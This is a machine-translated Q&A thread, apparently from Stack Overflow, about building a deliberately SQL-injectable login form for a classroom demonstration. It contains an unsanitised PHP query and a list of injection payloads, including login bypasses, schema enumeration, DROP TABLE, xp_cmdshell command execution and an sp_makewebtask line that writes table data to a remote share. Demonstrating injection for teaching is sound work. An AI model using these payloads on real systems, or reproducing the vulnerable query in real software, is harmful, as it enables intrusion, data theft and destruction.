2011-07-12 12 views
0

簡単なログインと登録フォームを作成して、SQLインジェクションを実演できるようにしたいが、私はこれを現在実行できませんでした。私がサンプルフォームを試すたびに、SQLmapはそれを攻撃することはできません。誰かが私にSQLインジェクションを示すために使用できる非常にシンプルで基本的なログインと登録フォームを教えてくれますか?いくつかのprexistingページはすなわち:SQLインジェクションテストサイトの作成方法

http://www.greensql.net/node/3

ため

+0

初めてMySQLのインジェクションについてユーザに問い合わせる。 Idk about this。.. – grep

+0

私は大学キャンプにいて、私の話題はSQLインジェクションでした。私はあなたに保証することができます、私は悪意のある推論のためにそれを使用していませんでした。 – michaelrmcneill

答えて

1

Googleの代わりに、あなただけのDBにテーブルを検索し、基本的な検索ボックスを作成することができます。

$query = "SELECT * FROM users WHERE username = ".stripslashes($_POST['username'])." AND password = ".stripslashes($_POST['password'])

と楽しむ:ただ、最も単純な保護されていないクエリを実行

6

など、ランダムな名前を持つテーブルを記入し、どのように検索作品を実証し、どのようにSQLインジェクションは、テーブルをドロップすることができます!一部の自動エスケープを避けるために、magic_quotesを既に無効にしていない場合(そのようにする必要があります)、の部分があります。それ以外の場合は、純粋な注射可能な入力を持って、ちょうどあなたがインターネット上で見つけるかもしれない任意のSQLインジェクションをピックアップして参照してください。いくつかの例:

' or 1=1-- 
' or 1-- 
' or 1 
\" or '1' 
' or 1=1-- 
' OR ''=' 
' or 'a'='a 
') or ('a'='a 
'; exec master..xp_cmdshell 'ping 10.10.1.2'-- 
'; EXEC master..sp_makewebtask \"\\10.10.1.3\share\output.html\", \"SELECT * FROM INFORMATION_SCHEMA.TABLES\"", 
10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- 
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''=' 
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''=' 
' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''=' 
' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''=' 
' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''=' 
1;DROP TABLE `users` 

そして、あなたは大規模なSQLテストを好きならそう

+0

これはmagic_quotes_gpcが有効になっている先史時的な/インストールが不十分なPHPでのみ役に立ちます。 –

+0

@Marc B私の会社のクライアントの中には、php4、他のPHP 5.1のサーバがあり、多くはmagic_quotes_gpcがオンになっています(そしてMambo CMS 'shivers *'のウェブサイト) –

関連する問題